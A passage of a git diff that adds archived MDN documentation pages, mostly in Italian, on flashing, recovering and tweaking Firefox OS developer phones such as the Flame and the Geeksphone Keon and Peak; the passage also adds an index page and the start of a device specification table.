+  <h4 id="Windows_(Nota_istruzioni_provvisorie_potrebbe_non_funzionare_al_momento_funzionante_con_Cygwin)">Windows (Nota: istruzioni provvisorie, potrebbe non funzionare al momento; funzionante con Cygwin)</h4>
+
+  <pre class="brush: bash language-html"><code class="language-bash">shallow_flash.sh -g gaia.zip -G b2g-XX.XX.en-US.android-arm.tar.gz</code>
+</pre>
+ </li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: se ricevi un errore "permission denied" (permesso negato) durante l'esecuzione del comando, probabilmente lo script non ha i permessi corretti. Eseguire <code>chmod +x shallow_flash.sh</code> dovrebbe risolvere il problema.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: uno "shallow flash" aggiorna solamente <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Gecko">Gecko</a> e <a href="https://developer.mozilla.org/en-US/Firefox_OS/Platform/Gaia">Gaia</a>, al contrario di un'installazione completa che aggiorna Gecko/Gaia ma anche il livello <a href="https://developer.mozilla.org/en-US/Firefox_OS/Platform/Gonk">Gonk</a> sottostante e i binari associati al particolare tipo di dispositivo. Per questo è il caso di installare prima l'immagine di base ufficiale, come suggerito sopra, e poi effettuare lo "shallow flash" sopra di essa, una volta che i livello Gonk e quello dei binari sono a posto.</p>
+</div>
+
+<div class="warning">
+<p id="Shallow_flash_flashes_more_than_just_Gecko_and_Gaia_so_all_the_data_on_the_device_is_lost!">Le immagini Shallow contengono altro oltre a Gecko e Gaia, quindi tutti i dati nel dispositivo verranno cancellati!</p>
+</div>
+
+<p>Una volta terminato, il telefono dovrebbe riavviarsi con la versione aggiornata e mostrare la sequenza di primo avvio.</p>
+
+<h4 id="Risoluzione_dei_problemi_dei_font">Risoluzione dei problemi dei font</h4>
+
+<p>Dopo aver aggiornato Gecko e Gaia alla versione nightly con l'immagine base v180, si verifica un'incongruenza tra i font che Gecko e Gaia si aspettano e quelli forniti dall'immagine base. Per sopperire al problema, scarica il <a href="https://people.mozilla.org/~mwu/fira-font-update.zip">pacchetto di aggiornamento dei font</a>, estrailo, entra nella cartella creata dall'estrazione ed esegui lo script flash.sh.</p>
+
+<h4 id="Spostartsi_sul_canale_di_aggiornamento_nightly">Spostartsi sul canale di aggiornamento nightly</h4>
+
+<ol>
+ <li>Assicurati che il debug remoto sia abilitato sul tuo Flame, utilizzando l'opzione Debug remoto/Debug USB nelle <a href="https://developer.mozilla.org/en-US/Firefox_OS/Debugging/Developer_settings">Impostazioni di sviluppo </a>del dispositivo.</li>
+ <li>Scarica lo script di <a href="https://github.com/Mozilla-TWQA/B2G-flash-tool/blob/master/change_channel.sh">modifica del canale</a>: segui il link, fai clic sul pulsante <em>Raw</em>, poi utilizza la funzionalità di salvataggio del browser per salvare la pagina direttamente come<code> change_channel.sh</code>.</li>
+ <li>Nel terminale, utilizza <code>cd </code>per entrare nella cartella in cui hai salvato lo script e spostati nel canale di aggiornamento desiderato eseguendo il seguente comando:<br>
+
+  <pre class="brush: bash language-html"><code class="language-bash">./change_channel.sh -v nightly</code></pre>
+ </li>
+ <li>Quando il telefono si sarà riavviato puoi verificare se esistono aggiornamenti tramite la voce <em>Impostazioni &gt; Informazioni dispositivo &gt; Controlla ora</em></li>
+</ol>
+
+<p>Dovresti ora essere in grado di ricevere aggiornamenti OTA sul tuo telefono.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Puoi scegliere tra vari canali di aggiornamento. Esegui il comando "./change_channel.sh -h" per scoprire quali sono gli altri canali.</p>
+</div>
+
+<h3 id="Modalità_Fastboot">Modalità Fastboot</h3>
+
+<p>Se l'installazione di una nuova versione non va a buon fine, il telefono potrebbe smettere di rispondere, portandolo a riavviarsi in modalità ripristino. Questa modalità mette a disposizione alcune opzioni (<em>Reboot</em>, <em>Update from adb</em>, <em>Wipe data</em>, <em>Wipe cache</em>, e <em>Update from sdcard</em>). Purtroppo, selezionare <em>Update from adb</em> avvia una modalità di caricamento che non permette di utilizzare altri comandi di adb. Il comando <code>adb sideload</code> funzionerebbe, ma i vari script per l'installazione fanno affidamento su altri comandi che non funzionano in questa modalità.</p>
+
+<p>Dalla modalità sideload, puoi forzare la modalità fastboot:</p>
+
+<ol>
+ <li>Spegni il telefono (potrebbe comportare la rimozione della batteria in casi estremi...)</li>
+ <li>Collega il cavo USB.</li>
+ <li>Riaccendi il telefono premendo contemporaneamente il pulsante di accensione e quello Volume giù.</li>
+</ol>
+
+<p>Il telefono dovrebbe mostrare il testo "FASTBOOT": si trova in modalità fastboot e in attesa di una connessione USB. Una volta connesso, adb dovrebbe riconoscerlo quando si esegue il comando <code>fastboot devices</code>. Nota che adb non lo riconosce. Lo riconosce solo fastboot. In questa modalità puoi usare lo script di installazione per la versione v180 come spiegato precedentemente. Poiché lo script utilizza sia comandi adb che comandi fastboot, potrebbero apparire alcuni errori iniziali riguardanti adb, ma l'installazione nel dispositivo dovrebbe essere avvenuta con successo al termine della procedura.</p>
+
+<h3 id="Modalità_di_download_di_emergenza">Modalità di download di emergenza</h3>
+
+<p>Quando l'installazione di una nuova distribuzione fallisce, il telefono diventa inutilizzabile e non si riesce ad avviarlo in modalità fastboot, è possibile utilizzare la modalità di download di emergenza per recuperare l'uso del telefono.</p>
+
+<p>Per entrare nella modalità di download di emergenza sono necessari un cavo USB e lo <a href="http://1drv.ms/1rCAQHk">Strumento per il Download di Emergenza</a>. Installa questo strumento e segui le istruzioni.</p>
+
+<h3 id="Modalità_ripristino">Modalità ripristino</h3>
+
+<p>È possibile avviare la modalità ripristino per eliminare i dati presenti nel telefono o per aggiornare manualmente il firmware. Ci sono due procedure per entrare in questa modalità:</p>
+
+<ul>
+ <li>Se gli strumenti <a href="/en-US/Firefox_OS/Debugging/Installing_ADB">ADB</a> sono disponibili, assicurati che l'opzione Debug remoto sia attivata nelle <a href="/en-US/Firefox_OS/Debugging/Developer_settings#Remote_debugging">Opzioni sviluppatore</a>, connettere il telefono al computer via USB e digitare alla riga di comando <code>adb reboot recovery</code>.</li>
+ <li>Se il telefono è spento, premi il pulsante di accensione e quello per alzare il volume contemporaneamente.</li>
+</ul>
+
+<p>In modalità ripristino, utilizza i pulsanti di controllo volume per muoversi tra le voci disponibili e il pulsante di accensione per selezionare. Assicurati di aver effettuato un backup dei dati del telefono (contatti, SMS, ecc.) prima di eliminarli e di avere pronti i pacchetti di aggiornamento.</p>
+
+<h2 id="Caricare_app_sul_tuo_Flame">Caricare app sul tuo Flame</h2>
+
+<p>Lo strumento App Manager semplifica l'invio di app al telefono per provarle ecc. Le istruzioni complete sono disponibili nell'articolo <a href="https://developer.mozilla.org/en-US/Firefox_OS/Using_the_App_Manager">Usare l'App Manager</a>.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: se stai utilizzando Firefox Nightly, puoi utilizzare il nostro nuovo strumento <a href="https://developer.mozilla.org/en-US/docs/Tools/WebIDE">WebIDE</a>, con le stesse funzionalità dell'app manager e molto di più.</p>
+</div>
+
+<p> </p>
+
+<h2 id="Regolazione_della_RAM">Regolazione della RAM</h2>
+
+<p>È possibile regolare la quantità di RAM disponibile per testare come le app si comportino su terminali Firefox OS con minore memoria disponibile.</p>
+
+<p>La procedura consiste nell'entrare in modalità fastboot (è necessario installare prima di tutto fastboot, disponibile nella stessa pagina dell'SDK insieme ad <a href="/en-US/Firefox_OS/Debugging/Installing_ADB">ADB</a>) e digitare:</p>
+
+<pre class="brush: bash">adb reboot bootloader
+fastboot oem mem [0|256-1024]</pre>
+
+<p>“0” indica la memoria rilevata automaticamente, mentre “256-1024” è la quantità in megabyte. Ad esempio, se si volesse impostare la quantità di RAM a 512 M, si dovrebbe digitare <code>fastboot oem mem 512</code>.</p>
+
+<p>Sarà necessario riavviare il telefono affinché l'impostazione diventi effettiva. Sarà sufficiente digitare:</p>
+
+<pre class="brush: bash">fastboot reboot</pre>
+
+<p>La quantità di memoria correntemente impostata può essere letta entrando in modalità fastboot e digitando:</p>
+
+<pre class="brush: bash">fastboot getvar mem
+</pre>
+
+<h2 id="Specifiche_di_rete_e_del_dispositivo">Specifiche di rete e del dispositivo</h2>
+
+<p><strong>Reti</strong>:</p>
+
+<ul>
+ <li>802.11b/g/n wireless internet</li>
+ <li>GSM 850/900/1800/1900MHz</li>
+ <li>UMTS 850/900/1900/2100MHz</li>
+</ul>
+
+<p><strong>Hardware</strong>: ulteriori informazioni sono disponibili nell'articolo <a href="https://developer.mozilla.org/en-US/Firefox_OS/Developer_phone_guide/Phone_specs">Specifiche di telefoni e dispositivi</a>.</p>
+
+<p>Altre caratteristiche includono:</p>
+
+<ul>
+ <li>NFC</li>
+ <li>Bluetooth 3.0</li>
+ <li>Accelerometro</li>
+ <li>Radio FM</li>
+ <li>Sensore di prossimità</li>
+ <li>Supporto GPS W / A-GPS</li>
+ <li>Sensore di luce ambientale</li>
+</ul>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="https://hacks.mozilla.org/2014/08/videos-getting-started-with-your-flame-device/">Getting started with your Flame</a>: Video guide di Chris Heilmann</li>
+</ul>
diff --git a/files/it/archive/b2g_os/phone_guide/geeksphone/index.html b/files/it/archive/b2g_os/phone_guide/geeksphone/index.html
new file mode 100644
index 0000000000..23cafa4fd9
--- /dev/null
+++ b/files/it/archive/b2g_os/phone_guide/geeksphone/index.html
@@ -0,0 +1,156 @@
+---
+title: Geeksphone
+slug: Archive/B2G_OS/Phone_guide/Geeksphone
+translation_of: Archive/B2G_OS/Phone_guide/Geeksphone
+---
+<div class="summary">
+<h5 id="Developer_Preview_editions_of_the_Firefox_OS_phone_are_now_becoming_widely_available_to_the_community_mainly_through_Geeksphone._Since_these_are_for_developers_naturally_we_want_to_encourage_you_to_tinker_and_play_with_them_as_much_as_possible!_In_this_article_we_cover_some_basic_tips_on_how_to_keep_your_phone_up_to_date_and_how_to_tweak_the_system_Gaia_applications."><span class="seoSummary">Developer Preview editions of the Firefox OS phone are now becoming widely available to the community, mainly through <a href="http://www.geeksphone.com/">Geeksphone</a>. Since these are for developers, naturally we want to encourage you to tinker and play with them as much as possible! In this article we cover some basic tips on how to keep your phone up to date and how to tweak the system Gaia applications.</span></h5>
+</div>
+
+<h5 id="(Note_that_these_instructions_are_for_the_older_Keon_and_Peak_not_necessarily_the_latest_Geeksphone_Revolution_phone)">(Note that these instructions are for the older Keon and Peak, not necessarily the latest Geeksphone Revolution phone)</h5>
+
+<p> </p>
+
+<h2 id="Updating_your_Geeksphone_to_the_latest_images">Updating your Geeksphone to the latest images</h2>
+
+<p>Firefox OS updates can be be downloaded from within the Settings app, listed under Device information. The phone can be set to check for updates daily, weekly, or monthly. In addition a “check now” button is provided. When an update is available you will be prompted to download and install the current version.</p>
+
+<p><img alt="The screen for checking updates on the Firefox OS settings app" src="https://mdn.mozillademos.org/files/6051/checkupate.png" style="width: 318px; height: 478px; display: block; margin: 0px auto;"></p>
+
+<h2 id="Flashing_your_phone">Flashing your phone</h2>
+
+<p>The team at Geeksphone is also now providing the latest stable and nightly builds as self contained downloads for flashing your phone.</p>
+
+<h3 id="Set_up_your_phone_and_computer">Set up your phone and computer</h3>
+
+<p><span style="line-height: 1.572;">Before trying to flash your phone make sure you have set it up as described in the section “Setting Up the Geeksphone Device” in </span><a href="https://hacks.mozilla.org/2013/05/pushing-firefox-os-apps-to-the-geeksphone/" style="line-height: 1.572;">Pushing Firefox OS Apps to the Geeksphone</a><span style="line-height: 1.572;">. This will ensure that you can push data to the phone. In that same section, follow the instructions to make sure your computer has the right USB drivers.</span></p>
+
+<div class="note">
+<p><strong>Note:</strong> It is particularly important that Windows computers be set up with the right USB drivers.</p>
+</div>
+
+<p>The builds are located at the <a href="http://downloads.geeksphone.com/">Geeksphone download site</a>. On this site you will be presented with options for selecting your device and what type of build you want to use.</p>
+
+<p><img alt="Two phone images side by side, the Geeksphone Keon and Peak, with different software download options below each one." src="https://mdn.mozillademos.org/files/6055/geeksphone-download.png" style="width: 530px; height: 486px; display: block; margin: 0px auto;"></p>
+
+<p>Download your particular build and extract the archive to your filesystem. The archive contains the images and commands required to flash the phone using Windows, Mac OS, or Linux. Before attempting to flash the phone make sure that you have enabled Remote debugging on the phone. This option can be set by launching the Settings app and navigating to the <code>Device information -&gt; More information -&gt; Developer</code> tab. Also do not attempt to flash the phone if the power level is below 50%.</p>
+
+<p><img alt="Enabling remote debugging on the Firefox OS Settings app" src="https://mdn.mozillademos.org/files/6049/remote-debugging.png" style="width: 320px; height: 480px; display: block; margin: 0px auto;"></p>
+
+<h3 id="Windows">Windows</h3>
+
+<div class="note">
+<p><strong>Note:</strong> You might need to install USB drivers on Windows. For instructions, see <span style="line-height: 1.572;">the section “Setting Up the Geeksphone Device” in </span><a href="https://hacks.mozilla.org/2013/05/pushing-firefox-os-apps-to-the-geeksphone/" style="line-height: 1.572;">Pushing Firefox OS Apps to the Geeksphone</a><span style="line-height: 1.572;">.</span></p>
+</div>
+
+<p>Open a Command Prompt (<code>start -&gt; type cmd in search -&gt; enter</code> on Windows 7, <code>Windows key + X -&gt; select Command Prompt</code> on Windows 8) and cd to the directory containing the extracted files. Run:</p>
+
+<pre class="brush: bash" lang="bash">flash.bat
+</pre>
+
+<h3 id="Mac_OS">Mac OS</h3>
+
+<p>Open a Terminal (<code>Cmd + space -&gt; type terminal -&gt; enter</code>) window and cd to the directory containing the extracted files. Run:</p>
+
+<pre class="brush: bash" lang="bash">./flash_mac.sh
+</pre>
+
+<h3 id="Linux">Linux</h3>
+
+<p>To flash a Keon from Linux add the following rules to /etc/udev/rules.d/51-android.rules</p>
+
+<div>SUBSYSTEM=="usb", ATTR{idVendor}=="05c6", ATTR{idProduct}=="8013", MODE="0666"</div>
+
+<div>SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", ATTR{idProduct}=="d00d", MODE="0666"</div>
+
+<div> </div>
+
+<p>Open a Terminal (control-alt-t on Ubuntu) window and cd to the directory containing the extracted files. Run:</p>
+
+<pre class="brush: bash" lang="bash">./flash.sh
+</pre>
+
+<p>This should flash the new image to the phone. The phone will need to be set up again as all data will be cleared. If you want to backup your data and restore afterwards, you can follow the instructions at <a href="/en-US/Firefox_OS/Firefox_OS_build_prerequisites#Backup_the_phone_system_partition">Backup the phone system partition</a>.</p>
+
+<h2 id="If_you_have_an_'unagi'_or_developer_preview_phone_that_is_not_a_Geeksphone">If you have an 'unagi' or developer preview phone that is not a Geeksphone</h2>
+
+<p>If you have a developer phone that is not a Geeksphone such as an 'unagi' or a previously Android-based device, you may need to perform the following steps. If this is not you, please skip to the next section.</p>
+
+<p>You will need to install <strong>adb</strong> and <strong>fastboot</strong>. These utilities can be found in the Android Developer Toolkit.</p>
+
+<p>It is not necessary to install the entire toolkit. Download the toolkit from here and extract the contents. adb and fastboot are found in the /platform-tools/ folder. They can be copied to the /usr/bin of your Linux or Mac OS machine, or copied to another folder as long as that folder is added to your $PATH.</p>
+
+<p>If you are attempting to flash your device and have another device plugged in via USB, your phone may not be detected by these utilities correctly. Only have your phone plugged in while trying to flash it.</p>
+
+<h2 id="Tweaking_Gaia">Tweaking Gaia</h2>
+
+<p>If you are the industrious sort, you may want to tweak the default applications in Gaia — the UI in Firefox OS. In this section we will cover some of the basics for cloning Gaia and making changes to the default system apps. Bear in mind these tips are “at your own risk” and may involve you later referring to the section “Ok, I bricked my phone”. Before proceeding make sure that you have adb and fastboot installed on your system. To verify if these are installed open a terminal and type adb devices with your phone connected. You should see your phone listed under the attached devices.</p>
+
+<p>You should also be able to run fastboot from the terminal. If you run fastboot, a set of parameter options should be displayed. If you do not have adb or fastboot installed, a quick Google search with your operating system will return several quick starts on how to install them. In addition to adb and fastboot you will need Git. If you do not currently have Git installed, have a look at this <a href="https://help.github.com/articles/set-up-git">setup guide</a>. Finally make sure your phone is set up for remote debugging as described in the previous section.</p>
+
+<p>Once you have the prerequisites you can open a terminal and cd to the directory you would like to clone the Gaia source code to. Type the following commands:</p>
+
+<pre class="brush: bash" lang="bash">git clone git://github.com/mozilla-b2g/gaia.git gaia
+cd gaia
+</pre>
+
+<p>This will clone the current Gaia code to your system.</p>
+
+<div class="warning">
+<p>If you plan on submitting changes back to the Gaia source, be sure to fork the source before cloning as described in <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia/Hacking">Hacking Gaia</a>.</p>
+</div>
+
+<p>Currently the Geeksphone Keon uses the v1.0.1 branch of Gaia code, so set the proper branch using the following command before you do anything else:</p>
+
+<pre class="brush: bash" lang="bash">git checkout -b v1.0.1 origin/v1.0.1
+</pre>
+
+<p>Most of the system apps are located in the apps subdirectory of gaia. You can now make any changes to these Firefox OS apps you wish. Once you have made changes, make sure your device is mounted properly by first running:</p>
+
+<pre class="brush: bash">adb remount</pre>
+
+<p>Next, run the following command to push the modified apps to your phone. This will by default push all the system apps to the phone:</p>
+
+<pre class="brush: bash" lang="bash">B2G_SYSTEM_APPS=1 make install-gaia
+</pre>
+
+<p>If you only changed one of the apps you can specify the particular app using similar syntax. In this example only the calendar app will be pushed to the phone:</p>
+
+<pre class="brush: bash" lang="bash">APP=calendar B2G_SYSTEM_APPS=1 make install-gaia
+</pre>
+
+<p>If you have issues while making the changes, you can reset the phone to default values using either of the following commands:</p>
+
+<pre class="brush: bash" lang="bash">make production
+make reset-gaia
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Bear in mind that either of the above commands will clear any data or apps that you have pushed to the phone. If you want to backup your data and restore afterwards, you can follow the instructions at <a href="/en-US/Firefox_OS/Firefox_OS_build_prerequisites#Backup_the_phone_system_partition">Backup the phone system partition</a>.</p>
+</div>
+
+<h2 id="Ok_I_bricked_my_phone">"Ok, I bricked my phone"</h2>
+
+<p>If you are in the process of modifying your phone and it becomes “unresponsive” you should be able to recover it using fastboot with a simple procedure. The following illustrates resetting the Keon but other phones should have a similar process. You will also need to verify that you have fastboot installed.</p>
+
+<p>First remove the USB cable and then remove the battery from the phone for 30 seconds. Then reinsert the battery and press the volume down button while holding the power button for a few seconds. Next reconnect the USB cable and run the following commands from a terminal window in the directory that contains the latest img files described in the first section of this post:</p>
+
+<pre class="brush: bash" lang="bash">fastboot flash recovery recovery.img
+fastboot flash boot boot.img
+fastboot flash userdata userdata.img
+fastboot flash system system.img
+fastboot reboot
+</pre>
+
+<p>This process should recover your phone. If it doesn't seem to work, you may have to try it a second time.</p>
+
+<h2 id="Go_play!">Go play!</h2>
+
+<p>We hope these instructions are useful to you, and naturally we want you to be as happy about Firefox OS and the possibilities as we are! Feel free to play around with updating your devices, make changes/updates to Gaia apps, and also be inspired to build you own open web apps.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/Firefox_OS/Developer_phone_guide/Geeksphone/Geeksphone_FAQ">Geeksphone FAQ</a></li>
+ <li><a href="/en-US/Apps/Quickstart/Build/Intro_to_open_web_apps">Introduction to open web apps</a></li>
+</ul>
diff --git a/files/it/archive/b2g_os/phone_guide/index.html b/files/it/archive/b2g_os/phone_guide/index.html
new file mode 100644
index 0000000000..378c500e80
--- /dev/null
+++ b/files/it/archive/b2g_os/phone_guide/index.html
@@ -0,0 +1,24 @@
+---
+title: Guida ai telefoni di sviluppo Firefox OS
+slug: Archive/B2G_OS/Phone_guide
+translation_of: Archive/B2G_OS/Phone_guide
+---
+<p>Questa sezione contiene informazioni per gli sviluppatori riguardo specifici modelli di telefoni cellulari che supportano Firefox OS. Sono disponibili informazioni generali per <a href="/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS" title="Building and installing Firefox OS">Compilare ed installare Firefox OS</a> e sull'<a href="/en-US/docs/Mozilla/Firefox_OS/Hacking_Firefox_OS" title="/en-US/docs/Mozilla/Firefox_OS/Hacking_Firefox_OS">Hacking di Firefox OS</a>. Gli sviluppatori che possiedono specifici modelli di telefoni cellulari possono trovare utili i seguenti articoli.</p>
+<dl>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Firefox_OS/Phones">Telefoni cellulari con Firefox OS</a></dt>
+ <dd>
+  In questo articolo sono elencati i vari telefoni cellulari Firefox OS, con ulteriori informazioni quali, ad esempio, i loro nomi in codice e la loro disponibilità.</dd>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Firefox_OS/Developer_phone_guide/Updating_and_Tweaking_Geeksphone" title="/en-US/docs/Mozilla/Firefox_OS/Developer_phone_guide/Updating_and_Tweaking_Geeksphone">Aggiornare e Modificare il proprio cellulare Firefox OS Developer Preview/Geeksphone</a></dt>
+ <dd>
+  In questo articolo sono presenti alcuni consigli di base sul tenere aggiornato il proprio Geeksphone e su come modificare le applicazioni di sistema di Gaia.</dd>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Firefox_OS/Developer_phone_guide/ZTE_OPEN">Firefox OS ZTE OPEN</a></dt>
+ <dd>
+  Questo articolo ha lo scopo di condividere le informazioni che abbiamo al momento a nostra disposizione sul modello Firefox OS ZTE OPEN. Man mano che altre informazioni saranno disponibili, verranno aggiunte qui.</dd>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Firefox_OS/Troubleshooting">Risoluzione problemi</a></dt>
+ <dd>
+  Questo articolo contiene suggerimenti per risolvere problematiche comuni che si potrebbero riscontrare nell'utilizzo di Firefox OS.</dd>
+</dl>
diff --git a/files/it/archive/b2g_os/phone_guide/specifiche_telefoni_dispositivi/index.html b/files/it/archive/b2g_os/phone_guide/specifiche_telefoni_dispositivi/index.html
new file mode 100644
index 0000000000..59f3ebe923
--- /dev/null
+++ b/files/it/archive/b2g_os/phone_guide/specifiche_telefoni_dispositivi/index.html
@@ -0,0 +1,470 @@
+---
+title: Specifiche di telefoni e dispositivi
+slug: Archive/B2G_OS/Phone_guide/Specifiche_telefoni_dispositivi
+translation_of: Archive/B2G_OS/Phone_guide/Phone_specs
+---
+<div class="summary">
+ <p><span class="seoSummary">Questo articolo fornisce alcune informazioni sui dispositivi Firefox OS, indicando specifiche hardware, nomi in codice, versione di Firefox OS installata di default e altri dati.</span></p>
+</div>
+<h2 id="Telefoni_Firefox_OS_disponibili">Telefoni Firefox OS disponibili</h2>
+<p>Nelle varie fasi di sviluppo abbiamo avuto a disposizione diversi telefoni. Ora, con la commercializzazione dei dispositivi, abbiamo a disposizione diversi modelli da vari produttori partner.</p>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">
+    <p>Nome / Nome in codice</p>
+   </th>
+   <th scope="col">Data di rilascio</th>
+   <th scope="col">Versione iniziale di Firefox OS</th>
+   <th scope="col">Note di rilascio di Firefox OS</th>
+   <th scope="col">Disponibilità</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p>Alcatel One Touch Fire</p>
+    <p><em>hamachi, buri</em></p>
+   </td>
+   <td>12 luglio, 2013</td>
+   <td>1.0.1</td>
+   <td><a href="/en-US/Firefox_OS/Releases/1.0.1">Sviluppatori</a><br>
+    <a href="https://support.mozilla.org/en-US/kb/whats-new-firefox-os-v11">Utenti</a></td>
+   <td>Attualmente disponibile</td>
+   <td>Disponibile per il pubblico in Brasile, Uruguay, Italia, Germania, Serbia, Ungheria e Polonia. Disponibile presso i rivenditori su eBay.</td>
+  </tr>
+  <tr>
+   <td><em>otoro, unagi, inari</em></td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td>Dispositivo ZTE disponibile sul mercato, utilizzato per lo sviluppo prima dell'uscita dello ZTE Open.</td>
+  </tr>
+  <tr>
+   <td>
+    <p><a href="/docs/Mozilla/Firefox_OS/Developer_phone_guide/ZTE_OPEN">ZTE Open</a></p>
+    <p><em>ikura</em></p>
+   </td>
+   <td>2 luglio 2013</td>
+   <td>1.0.1</td>
+   <td><a href="/en-US/Firefox_OS/Releases/1.0.1">Sviluppatori</a><br>
+    <a href="https://support.mozilla.org/en-US/kb/whats-new-firefox-os-v11">Utenti</a></td>
+   <td>Attualmente disponibile</td>
+   <td>Simile ad inari; disponibile al pubblico su eBay.</td>
+  </tr>
+  <tr>
+   <td>
+    <p>LG Fireweb</p>
+    <p><em>leo</em></p>
+   </td>
+   <td>24 ottobre 2013</td>
+   <td>1.1</td>
+   <td><a href="/en-US/Firefox_OS/Releases/1.1">Sviluppatori</a><br>
+    <a href="http://www.mozilla.org/en-US/firefox/os/notes/1.1/">Utenti</a></td>
+   <td>Attualmente disponibile</td>
+   <td>In vendita al pubblico in Brasile.</td>
+  </tr>
+  <tr>
+   <td>
+    <p><a href="/docs/Mozilla/Firefox_OS/Developer_phone_guide/Updating_and_Tweaking_Geeksphone">Geeksphone Keon</a></p>
+    <p><em>keon</em></p>
+   </td>
+   <td>24 aprile 2013</td>
+   <td>1.0.1</td>
+   <td><a href="/en-US/Firefox_OS/Releases/1.0.1">Svilupattori</a><br>
+    <a href="https://support.mozilla.org/en-US/kb/whats-new-firefox-os-v11">Utenti</a></td>
+   <td>Attualmente esaurito</td>
+   <td>Dispositivo per sviluppatori</td>
+  </tr>
+  <tr>
+   <td>
+    <p><a href="/docs/Mozilla/Firefox_OS/Developer_phone_guide/Updating_and_Tweaking_Geeksphone">Geeksphone Peak</a></p>
+    <p><em>peak</em></p>
+   </td>
+   <td>24 aprile 2013</td>
+   <td>1.0.1</td>
+   <td><a href="/en-US/Firefox_OS/Releases/1.0.1">Sviluppatori</a><br>
+    <a href="https://support.mozilla.org/en-US/kb/whats-new-firefox-os-v11">Utenti</a></td>
+   <td>Attualmente esaurito</td>
+   <td>Il nome in codice per un certo periodo è stato "twist"; dispositivo per sviluppatori</td>
+  </tr>
+  <tr>
+   <td><a href="/docs/Mozilla/Firefox_OS/Developer_phone_guide/Updating_and_Tweaking_Geeksphone">Geeksphone Peak+</a></td>
+   <td>-</td>
+   <td>-</td>
+   <td>-</td>
+   <td>-</td>
+   <td><a href="http://www.geeksphone.com/?wysija-page=1&amp;controller=email&amp;action=view&amp;email_id=15">Progetto cancellato</a></td>
+  </tr>
+  <tr>
+   <td>Geeksphone Revolution</td>
+   <td>4 marzo 2014</td>
+   <td>1.3pre</td>
+   <td>-</td>
+   <td>Attualmente disponibile</td>
+   <td><a href="http://shop.geeksphone.com/moviles/9-revolution.html">Acquistabile online</a></td>
+  </tr>
+  <tr>
+   <td>
+    <p>LG Google Nexus 4</p>
+    <p><em>nexus-4</em></p>
+   </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td>Sperimentale. Non supportato da LG o da Google. Hardware fuori produzione.</td>
+  </tr>
+  <tr>
+   <td>
+    <p>Flame</p>
+    <p><em>"the reference device"</em></p>
+   </td>
+   <td>Tardo aprile 2014</td>
+   <td>1.3</td>
+   <td> </td>
+   <td>Disponibile a breve</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>
+    <p>Spreadtrum</p>
+    <p><em>tarako</em></p>
+   </td>
+   <td>Fine del secondo trimestre 2014?</td>
+   <td> </td>
+   <td> </td>
+   <td>Disponibile a breve</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Firefox_OS_per_versione">Firefox OS per versione</h2>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Versione</th>
+   <th scope="col">Data di completamento (Feature Complete - FC)</th>
+   <th scope="col">Data di rilascio ai partner<br>
+    (Release to Partner - RTP)</th>
+   <th scope="col">Nome in codice</th>
+   <th scope="col">Versione di Gecko</th>
+   <th scope="col">Correzioni di sicurezza incluse</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>1.0</td>
+   <td>22 dicembre, 2012</td>
+   <td>21 febbraio, 2013</td>
+   <td>TEF</td>
+   <td>Gecko 18</td>
+   <td>Gecko 18</td>
+  </tr>
+  <tr>
+   <td>1.0.1</td>
+   <td>15 gennaio, 2013</td>
+   <td>6 settembre, 2013</td>
+   <td>Shira</td>
+   <td>Gecko 18</td>
+   <td>Gecko 20</td>
+  </tr>
+  <tr>
+   <td>1.1.0</td>
+   <td>29 marzo, 2013</td>
+   <td>9 ottobre, 2013</td>
+   <td>Leo</td>
+   <td>Gecko 18+ (nuove <a href="http://en.wikipedia.org/wiki/Application_programming_interface" title="Application programming interface">API</a>)</td>
+   <td>Gecko 23</td>
+  </tr>
+  <tr>
+   <td>1.1.1</td>
+   <td> </td>
+   <td>Da definire</td>
+   <td>HD</td>
+   <td>Come 1.1.0, più WVGA</td>
+   <td>Gecko 23</td>
+  </tr>
+  <tr>
+   <td>1.2.0</td>
+   <td>15 settebmre, 2013</td>
+   <td>9 dicembre, 2013</td>
+   <td>Koi</td>
+   <td>Gecko 26<sup><a href="http://en.wikipedia.org/wiki/Firefox_OS#cite_note-39"><span>[</span>39<span>]</span></a></sup></td>
+   <td>Gecko 26</td>
+  </tr>
+  <tr>
+   <td>1.3.0</td>
+   <td>9 dicembre, 2013</td>
+   <td>Da definire</td>
+   <td> </td>
+   <td>Gecko 28</td>
+   <td>Gecko 28</td>
+  </tr>
+  <tr>
+   <td>1.4.0</td>
+   <td>17 marzo, 2014</td>
+   <td>Da definire</td>
+   <td> </td>
+   <td>Gecko 30</td>
+   <td>Gecko 30</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Specifiche_dei_dispositivi">Specifiche dei dispositivi</h2>
+<p>Si noti che vi sono alcuni casi in cui un dispositivo non è stato ufficialmente rilasciato, ma ci è stata data la possibilità di condividerne il nome in codice e alcune caratteristiche. NON inserire altre informazioni su questi dispositivi a meno che Andreas Gal o qualcun'altro che sia autorizzato a dare la propria benedizione al rilascio di queste informazioni al pubblico non abbia fatto annunci a riguardo.</p>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Nome</th>
+   <th scope="col">Versioni</th>
+   <th scope="col">Risoluzione</th>
